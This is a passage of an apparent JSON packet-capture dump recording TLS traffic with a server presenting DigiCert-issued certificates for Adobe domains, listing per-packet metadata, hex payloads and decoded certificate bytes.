5f083c6b7e0baff7a1442fb528276737a6982678691b9e211720182b7c3f266f93c6c059cf6b03c0333dc9a1a6207fb5ecf1a9255ba762466f9955cdd80004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f079816030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631303132303131365a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd170210088419764d2e757b0de43f20409b08908000180f32303236303631303131343530325aa011180f32303236303631373130343530325a300d06092a864886f70d01010b050003820101005e7999694acfd1b68061acea75ee0458f2ed6f4b933a2c01be90ee1a1e09eb9599e0695837179547868d0029956dfd2eb3fdb581c9cf7b2f4f7e08c0db3c0b210475388df5ee12087fd44c506e3878d30704eabb870fc3e6b009b25da1cebcff57163914ff65481ec1bc5877cf6485fd9c3f935c6087f9ea1d7b6fa9c18ab8ff1c35e56da99590a25463986884760c63bd18d919c4408dc3865adbe9da32ef1d934a901d4d9e89c9c56ce1b4fd840cfd7d413c5b27302a3d423e491555eec0a81859d8f99caa111f68996bf6e524bdde87639988133aca21810066b7dabbf73179e9b440ccf84714487fe2e5e72f5a97d86316e1010e9a4e80f901518b39fb2016030300940c0000900300174104b3f2230e25abf5443c3b30a736fdef1dee21c5b97dcca8cd77d01c03bd8a91038133b100daafec184c335e8fa42a9168e8889f6eea254686cee24ed702e500b504030047304502206c77da0a60a0209372e80294c78e698b62353ec0fc0614a87846ec4759b0405c022100fe620c1e4cdececddfc7c207eabff8cd01a3ab25237adc5a5b27c8c9c2e3501c16030300040e000000\", \"payload_ascii\": \")7\\u0003\\u001d\\u00170\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014gK\\u0005c\\\\FrV0\\u0006\\u0003U\\u001d\\u0011\\u00040\\u0013assets.adobedtm.com\\u001fcdn1-staging.adoberesources.net\\u0019assets.adoberesources.net!assets-staging.adoberesources.net\\u0017cdn1.adoberesources.net\\u0015commerce.adobedtm.com\\u001amagento-recs-sdk.adobe.net0>\\u0006\\u0003U\\u001d \\u000470503\\u0006\\u0006g\\f\\u0001\\u0002\\u00020)0'\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0002\\u0001\\u0016\\u001bhttp://www.digicert.com/CPS0\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00030\\u001d\\u0006\\u0003U\\u001d%\\u0004\\u00160\\u0014\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u0001\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00020\\u0006\\u0003U\\u001d\\u001f\\u000400HFDBhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0HFDBhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004{0y0$\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0018http://ocsp.digicert.com0Q\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0002Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0\\f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00020\\u00000\\u0001~\\u0006\\n+\\u0006\\u0001\\u0004\\u0001y\\u0002\\u0004\\u0002\\u0004\\u0001n\\u0004\\u0001j\\u0001h\\u0000v\\u0000m}\\u0010w_\\u00003Ze\\u0001s\\u0017iw\\u0000\\u0000\\u0001Vwm\\u0000\\u0000\\u0004\\u0003\\u0000G0E\\u0002!\\u0000\\u0013\\u0019\\u001fa?zp\\u001d\\\"_(\\\\@\\u001b\\u0002 OL*V?\\u0019J>&V\\u0004GD#bx\\u0000w\\u00001~WE\\u0019E\\u007f8A!Z\\\"\\u007fv\\u000eR\\u0000\\u0000\\u0001Vw\\u0000\\u0000\\u0004\\u0003\\u0000H0F\\u0002!\\u0000\\u000b\\u0014R}CWYg\\u001ek{\\u0002!\\u0000\\u001c_7hHg\\u001e\\u0002Sd\\u001eyDTU8s\\u0000u\\u0000NC\\u0019$&\\u0018e\\u0001_8\\u0002\\u0001?rg}U7.\\u0019\\u0000\\u0000\\u0001Vw\\u0000\\u0000\\u0004\\u0003\\u0000F0D\\u0002 F9pq\\u0000$\\u007f.\\u0003e\\u0006*Z\\t\\u0002 \\u0013`\\u0005\\u0014l\\u0016_!\\u0018h,\\\"N*7J\\u0012,0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000h(l\\u0010\\u0014_\\u0015\\u0003T>\\u0018c\\u0010jp\\u0010/F9-\\u0018k2@\\u0002Pk\\u0003?\\fY\\n5m\\u001f,\\u001d\\u0012\\f\\u0006\\u0006\\u0013-\\u00071\\u0014oL\\u0016Dn(\\u001fRGz5,)mm\\u001d4\\u0010\\u00040M1\\b++\\\\\\\"#\\u0001\\u0007`Y=5},TEZ\\u0007\\bg\\u000fr'VQ\\u007f\\u007f_\\b<k~\\u000bD/('g7&xi\\u001b!\\u0017 \\u0018+|?&oYk\\u00033= \\u007f%[bFoU\\u0000\\u00040\\u00040\\u0003\\u0003\\u0002\\u0001\\u0002\\u0002\\u0010\\f\\u0006+V\\u0002zP,#f0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u00000a1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1\\u00190\\u0017\\u0006\\u0003U\\u0004\\u000b\\u0013\\u0010www.digicert.com1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017DigiCert Global Root G20\\u001e\\u0017\\r210330000000Z\\u0017\\r310329235959Z0Y1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1301\\u0006\\u0003U\\u0004\\u0003\\u0013*DigiCert Global G2 TLS RSA SHA256 2020 CA10\\u0001\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0001\\u000f\\u00000\\u0001\\n\\u0002\\u0001\\u0001\\u0000\\u0010bOcoRVm'{z\\u0012V`A\\u0015p\\u0012\\u0000'\\nW8[}Qq\\u000ejA[5\\u001b{$0V}\\u0014\\u0014M\\u0010\\u0016\\\"1\\\"\\u0011ai&x\\u001f}fuDs]\\nYC:\\u000fHk7cFE}#Q\\u0007\\u001eQ_IFT\\u007f,\\u0013\\u0015<\\u00039i\\f2\\u0016WLGB|}MTB\\u0004wH\\u0011*Cp?vkLI$^\\rFlbRBu^^a\\u001f\\u001f\\u007f\\t=\\u007fGi\\u0002\\u0003\\u0001\\u0000\\u0001\\u00010\\u0001~0\\u0012\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\b0\\u0006\\u0001\\u0001\\u0002\\u0001\\u00000\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u00170\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014N\\\"T \\u0018n\\u000f\\u0012\\u0006\\u001790\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u001d\\u0006\\u0003U\\u001d%\\u0004\\u00160\\u0014\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u0001\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00020v\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004j0h0$\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0018http://ocsp.digicert.com0@\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u00024http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B\\u0006\\u0003U\\u001d\\u001f\\u0004;0907531http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=\\u0006\\u0003U\\u001d \\u00046040\\u000b\\u0006\\t`H\\u0001l\\u0002\\u00010\\u0007\\u0006\\u0005g\\f\\u0001\\u00010\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00010\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00030\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000p(i|t&{Se\\u0006ZCMLV_\\u0005 .YJ*.J;o)0?${\\u0007,kv3\\u0000URY\\u000f\\u0010r\\t\\u0004_.2uXW1~7\\u0001fm)\\u001af\\tmn/\\u0001\\u0014\\\\Vd\\u0001}8S]Fm\\\\'~R7|*UZ8r\\u0010\\u0000\\u0013Ls75)iv\\u0018{g\\u0003\\u0004Z!\\u0016?Y#\\r$*%Ltm@\\u0007\\u0016\\u0003\\u0003\\u0001\\u0016\\u0000\\u0001\\u0001\\u0000\\u00010\\u0001\\n\\u0001\\u0000\\u00010\\u0001\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u00010\\u00010\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0018\\u000f20260610120116Z0s0q0I0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014[X\\u001e:ioH\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0002\\u0010\\b\\u0019vM.u{\\r? @\\b\\u0000\\u0018\\u000f20260610114502Z\\u0011\\u0018\\u000f20260617104502Z0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000^yiJau\\u0004XoK:,\\u0001\\u001a\\u001e\\tiX7\\u0017G\\u0000)m.{/O~\\b<\\u000b!\\u0004u8\\u0012\\b\\u007fLPn8x\\u0007\\u0004\\u000f\\t]W\\u00169\\u0014eH\\u001eXwd?\\\\`\\u001d{o\\u001c5mTchv\\fc\\u0018\\u0019@Z2\\u001dJ\\u001dMl\\f}A<['0*=B>I\\u0015U\\u0018Y\\u0011\\u001fhk$c\\u0013:!\\u0000f1y@G\\u0014H\\u007f/Zc\\u0016\\u0001\\u000eN\\u0001Q9 \\u0016\\u0003\\u0003\\u0000\\f\\u0000\\u0000\\u0003\\u0000\\u0017A\\u0004#\\u000e%D<;06\\u001d!}w\\u001c\\u0003\\u00033\\u0000\\u0018L3^*hn%FN\\u0002\\u0000\\u0004\\u0003\\u0000G0E\\u0002 lw\\n` r\\u0002ib5>\\u0006\\u0014xFGY@\\\\\\u0002!\\u0000b\\f\\u001eL\\u0007\\u0001%#zZ['P\\u001c\\u0016\\u0003\\u0003\\u0000\\u0004\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 10, \"timestamp\": 1781447314.37847, \"timestamp_iso\": \"2026-06-14T19:58:34.378470\", \"timestamp_human\": \"2026-06-14 19:58:34.378\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39915, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616607919, \"tcp_ack\": 2473779506, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 11, \"timestamp\": 1781447314.649133, \"timestamp_iso\": \"2026-06-14T19:58:34.649133\", \"timestamp_human\": \"2026-06-14 19:58:34.649\", \"size\": 328, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39916, \"ip_len\": 314, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616607919, \"tcp_ack\": 2473779506, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 40, \"payload_preview\": \"453155f8677edd528e5b41eca2ebf6a9cf6f0accbc5ed46ab722d916e3052cbe48f273e0ca3ab041\", \"payload_ascii\": \"E1Ug~R[Ao\\n^j\\\"\\u0016\\u0005,Hs:A\"}, {\"packet_number\": 13, \"timestamp\": 1781447314.655575, \"timestamp_iso\": \"2026-06-14T19:58:34.655575\", \"timestamp_human\": \"2026-06-14 19:58:34.655\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39917, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616608193, \"tcp_ack\": 2473780001, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 14, \"timestamp\": 1781447314.87645, \"timestamp_iso\": \"2026-06-14T19:58:34.876450\", \"timestamp_human\": \"2026-06-14 19:58:34.876\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39918, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616608193, \"tcp_ack\": 2473780001, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 16, \"timestamp\": 1781447314.893723, \"timestamp_iso\": \"2026-06-14T19:58:34.893723\", \"timestamp_human\": \"2026-06-14 19:58:34.893\", \"size\": 3958, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39921, \"ip_len\": 3944, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616611609, \"tcp_ack\": 2473780001, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 3904, \"payload_preview\": \"ad76ab3cb168e30d2cc7d1475a5779960faeaf994d661d04c78e9dbcb58f98b18491fe6b93db04bfcfbb2560da778a01cfaa5c19624bfe569b8f658cda622a66322e68ae83bbd989bf6d95e59da6f0b1eee5622b104d872ad41019bf5f61a2238aa00023e897a0f118a8478d23195f0780710ba8404f8baa9ae21aa0478543afdd6580707be547fd1f4e2c0a56c1dc5458358a871a210f3d2f007843fa118edf2152aadfedb8bc4e4d5b2ffc6401c6385521b085d4f4ee4705ff54edb10ff84b42857613eea2558f5dc2f99b583a259c8c3900bafaa19921d96314982e0ff57a5b3e1fdfca723652a9c9982ffe171c1670cd2348fb346ec7e38309975f350c00d520a9d523fe93bec6107896a024d91d8f6bb6f282454e6b791faa23a9931d326e7c0d4f1dfde8a85fcc330e0a7dfd1c763b4357d4c884dff05dc0652ba63ef916a0f4c866761c8dea4c723196d883107762e277772090b2ca6b5b5c5a53a5ae1e6d49850b4952370fcb509432dd8350e959c97232bd89e28069fbad24cd034f677ab84217d9d661182d06819af2223ebf2582e9535703771270ffccd536bf15bcd5d4a533b5b505013ac5c6b8fec5d368e5ab024c79e60dda423d9a51bd67ccc9b3c25fd81b7dea0658befe12828c11a58dbee6ef9f7791352bc8925ad1ddb77a6f4691754cb1f76775d5f2809f8f99e9657ba237ee9d0ef075c193abaea0ee1ebe67a67fea3ee462c724caf83066fff8432f5b1831ffcb865223b65141bd598e9041083bd7ea395d7338bda69a61f20ec0f4cd5d5359d7ed391719d702ca9975fb10dc74c19a65aee503362e06eac058257ab29db90d936dcc4138ed78ca11ab13972f88ba324b43c9978dcc36e3b16526a5bfcc497eb6c961e21e37376661c7b96fd13574136b874e5692308695a84dca10c7138c27ef3849155e1ce4d1b1cfd90ea754f659f4d37baa1a61f53d155461c85ea760fa0eff80757fcbb2ed903c3bda9ad9794ae7f2fd745f50bdd6d37759bbf067ecf28e55e63ad90018b3b50d80b5d405a5081d43e1e9e2d60213062f9202f4bfbbc89d6b7e9a307c4722ddd24cdd22a2aae019cd8b6ff0ee577886c401d7d35c2376e541c5a856031e12e4d9a8555cb3e3a3be41287ddc369e16a5b17c919e97ed7c8c82c3c497d5a1c37a5fec8dc1a396cf2f3c75532a1e2de3f27bc9bc5f8155bd2b25b75dead967a5c70deb63bfbc221185481beba43e8ac4e9493ade4fb1768c3a33829a68bb42f61ac2966b891cb06c154b3d9bddd3dd5707caec587f3b3981fc882e4d4e210e83d58d9169cd71c3c2e082b6bde9055fa4cbf448e9326ac0b817a8d5e9f1a4a0cf3557d54af6a04bd386b1f44f4c6d1f3c4933f1109c0fea4b16d05ead39d46c7037d330feb058ca6c8ed921bda9b1301b3c9bcca3dbdb6608b465d20f18265d93a454f43309d72d824a9c93575c26e4e0cb696e741244422687a9805f678b99285d6edc3ae15c87f5403028a053791ea5786c96faf7cb24ce57b3e70a41698c6220f764251c65dfb68dd0244cff921ef14079b5e26a9b6479cd9831cf2257f02443d1b7c2f488cce02ba56f0dcff5813d47e951be7a8c688f76d8f123d4a6841de38e732eed506531bd8f1349e1aaf60b012c9ef2a007285f713d29e78c4e201a94ae7afad4ec19c02b47c3122df66920c0d0761543a14a1326573336af7f85d1d12cdb74f513f9237e5a34c82dda6aec75010dd2439b86493b6e0502b64e504127f82e79cb008e53c9a01d1199391c4ba4f67ac4f44a5db2fa80ff65bd4cfe07adabeee3985251bd06677085d2cba1df36f7e67af238b1b63f28b63e8fdf4d0a78a71275db86a9d268f80e704dce47f2dcd5ea597d0aa44300283b1b0c297a603f2dd71de97273dd81c05ce29199caca02d22aeaf12a949d95492443c416ba7ca284b4e49f3003861b316807f3a3393d37ea99b7b46f559ecf002aac9f8d72a8c17e749e70f19cbd030530f91fa652cd5679d5e728397ed075ad4970418a59a9580c4ee517fb46818d0202b6b4c95737bf5d8254785e9a9f8161950af82fa03ea8f2dbcbd742486d2a9e310c03dd792de3b7b1f46ea008bff054782018bf9a64c0b44e14373518cf7a04abd69df7bcf40e2e75398c69252cf340755a4097abb743887b9416f65faea218b6a818f60bb62cac04629e135899059577d9442fad3306a5f8db1f41c8879619128d7f646158961f1f7e2e2dd6675b96944b4d20453526c7a6b692440f3c297e52b3ac09f40aad0869c17895fab94b94f00b0f142d666ffacd98dd425fcd4e5ca9c576cfa6b042948c812aefb2d721843034fe3918bdd34c690613811e9215e2f8ece13a1901ffdf85e50c47cfebd93ab85caf7809d56238eba820e4b3a953a8929ddc578db7d7eba01114257ceade6ac73a7acff5c751a88bc646a9391f78b6258422ebcb4507b373d25516c22c01d1b02cb84f478045a97fe59e5e89dc34826955a4a68688f1e118dcfcc0cde87de6534d406bccf5d32d031ed24e965838e1c8031cb205740bfa85666f6497bb753f0916a55c046cbb054f663b729f9466d591f816870d2427425ab74ace8eceeaf941a2aacb6368a8bb398c87d397159fcf6e20019b8c8db91b7414b23c51ef821fbe2fd11f795939449cec10f58bcc047db720b120d2974d86d3e115e0efddef44cf0212b953de79e18a4d8982b520bd69839814000c4b102f8b8ad58a6f299293616664c319f819c854f185716583e46b2bc2ffa64bd0454b033171cb74112a95ca2867253011f77db15cb53a3b52a83a68964f0e7d4a71e14f461f97dee00509ee8eef83145f97b5f47c6c2befaf8cde46cc9c24ba91d7dcbbae50c0374ad3bef7292342cdb8df9551bdeefbe9fa17f9fa635b04e810dbbbe093d0e758140c291157fb5f3f96aca02bbf9e4109444d219e7de009b2a2a66398b68b7b43508e77b523fb464c3300dcebd0540fb4e8ec55aa714f66fc7a4f9f1a66c41a7dd7202c85cb7da5a69c3072cc9d1e8dbe176f28df3bdeecc7d9e61f3419bc7be45b700cb589fdfdc7eaf30e2f207d80e6203c2a92743e6b26ee3744e55e04e5fa945d6c80768b7a9837d7ba76a7e59355233822abe459361c41dcb080005a515b49fdae7a766668b6843317ceb5af5aec7665c8fff0b0d19e9dd6907c9d4c9dd397d9cde5fb535388475d85a1cbaffae8b6898e7ffa44e75716a2b0400b4d40276887839cb3e74bc82e216da28c4da1984d704ea13c94525b65576ca7eae57866ef564fef3fb5731449a31282d6a6b1ed8aa67225b3880509ac1e09bd692ea143ee26faabcf9f4bd2e4b6194e9acdbdee885360e4422e75cf77b12cf3452918e2738e589e1ce5347541a9b2b05383f26875997c046a7963f59b6f9b68e71fcdef22a15d6e4db85580b72257cb98c810ad47ea2bc880997df0f75535b50a61369ae39808dbb7778afaf51ae09225f7396ee2a78a056a683284f1d40ca24c413f2adaea4650eb41c3f82595ad7a68f24e507c62e060e2622e9b3c920ab4769b52a36b3bb8b4568b99189593d3da291cf0286f37aa7e166b1af25d8bf515f743d18999012f4b6844ef1527d63210ce28001044d18c9069f45afb06954f7ed9707dff80dc4a397efa2534926dd21118510b027b03e22a8660eb77c91e19bd307ac8738624c9fd935226fbc8514c161209a41a9532c544bc6eb8a74cc5fa43daa884e7556e08c353df0bd0c61017d0564471a0fa7d099eaabd8023d80dfb4754d2ffa488795b3042e2616676c355107f9e0ebd770332d40a82a538b227be8041154dc1c95da2b43bbefd67574259091c787395033316eb54f0a45700fedbfa73404c59335d1da6706383a971f5a5b045ccbc28ba35a771889c384111cf37b3dc8de7780cd27998257f9cbd5398dabc04c9124ebb106a4696d52bbeff71b034419a9c7568a9426f23639d1d161fe2476100707fc2e379ba9448fb1be93f59341dfb1a7644eb1094d5f610dca893836b5af1b2c7d50c93fef4ad81f9c751a6037fff65a78b2496f711f9aa7d2c5a44e7379bf82ca215569caa5f7522fadfae2663d2ddf0e600207d0a9bd478f5005e751527a673740b37d940a779b2d7dfcc069309ca63de3c851924f7ce55fcc35593f56c7c313f4161128a60bcbd16a5d69d9c8a86bfa12c2af3188111a7fb52ce59bac15bbfc40985b9ec02de9b00b2c4d7247a3b33c613e0a3f1e5b5d25680a1edf61131b86ce2c713c5c4c970996fcc837147e575eb73782287484bca2eaae8986dc8976ae6379dfdd1920fd24a6e280a35246f5c9b49799e172331843d6c605f0782d20b5af2be60a1420667759e94f7b6430232acde5d4eb2244a93d3f9cc6947de6aa9a44acbc4e28711d4ce3ec4333b406175f16f52e5a0bde8849d3eedcb310538d1ec2bec0e09261e2bbd0dd61b413d029e6b4c03e9f0cfd0ceff10fc410dfcb2ed44ed7c24cacc61fb1d90b86240afbcd441cc56004ea2efa4bbf6ea12752170cc4e974830a3d24a0e6fedbfcc3c4285bd061301c74e9ec8e96043331cee9049cf26c62254056ec7babfa391e3d2022dd4ef7c161a74f70d585528e686e35f0acd9d4cc146eb3a0d876dd4532f35cdd844bab144eb6439b211f4330769408c1459c1c6adfcca22883fdfc8f7b11bb3b0cdfedd51086433c9c25a2f4e1e7c13ac9dfe6ea5a3cf5a1b89fb235ce8b58a265eab00549ccea8647bf05007383ffaf4b5de10b996fceda3bffe900f21d7829de6b0bbe71f7d530a8cff5c1b9feed992970a722f4a1bd44339208b31c665c968f98f558577cc607618ddc351c608e982af3b27625ab4317c22db119eafab452e2453bef72a37aa639d13d9b0120df3e1fcc101c516ef3d494b2f3bce39394ea2b3ef538e06379ab9e509a4a2a2f35aa690242fa0bae1b57c6b84206b59abc9114a78882f3d42236d7d4a445d90f1063c20b46efbb5f5172e0aa0ba01ac8f8c00ca2c577e7a69b78eb3a4650fef5c24eeba702305e01e7b9b93389474e082e2d2b03a73c86770ebd163fb7e7fefd1c240de6340093ed43ef63b2f13b5dce6782338abe24d307361de892907059bd264c3a1b9cf5713ec46ebcfc6679dc018b078cd2904d0eb290a8eb7eacb689df282df96e3807341f264ff6b516077cf4037250c08c904dff3c4a384293b1b0becf6b4a1bc5ca88164bf1729dd1f6d07a674a48f4b8f25efceb85776c781fb1556b87d903c75c8ca396bfc10b96937542e389a13a4d4500e2b0f4e5ff984d3d06ae4189461680d5991022fb6e7b97837562f6a5c6d4abc251394b2249d628a28b3fe3dea023f1a298e48efafcab45e458be1bbc351f6e537a8c8fabfbaf844b409e0ab35ded51efbfc90ed51c0a70bfaca98bf3af8929ced3b75053d43c0cbf7b549e2b5ddf2d71c451fe0753646b693004dd055a3309704c920d6e860acd1fb4c57c75615ed1d4f2655fe736397b5bbe3195f11bc7f5cc7a2e84fc5bc1b\", \"payload_ascii\": \"v<h\\r,GZWy\\u000fMf\\u001d\\u0004k\\u0004%`w\\u0001\\\\\\u0019bKVeb*f2.hmb+\\u0010M*\\u0010\\u0019_a#\\u0000#\\u0018G#\\u0019_\\u0007q\\u000b@O\\u001aGCep{G\\u001fN,\\nVTX5\\u001a!\\u000f=/\\u0000xC\\u0011!RNM[/d\\u00018U!G\\u0005T\\u000fKBv\\u0013U]X:%9\\u0000!c\\u0014.\\u000fz[>\\u001fr6R/\\u0017\\u001c\\u0016p#H4n\\t_5\\f\\u0000 #\\u0010x$\\u001dkENky\\u001f#\\u001d2n|\\rO\\u001d_3\\u000e\\n}\\u001cv;CW]e+>\\u0016fv\\u001cLr1\\u0010wbww 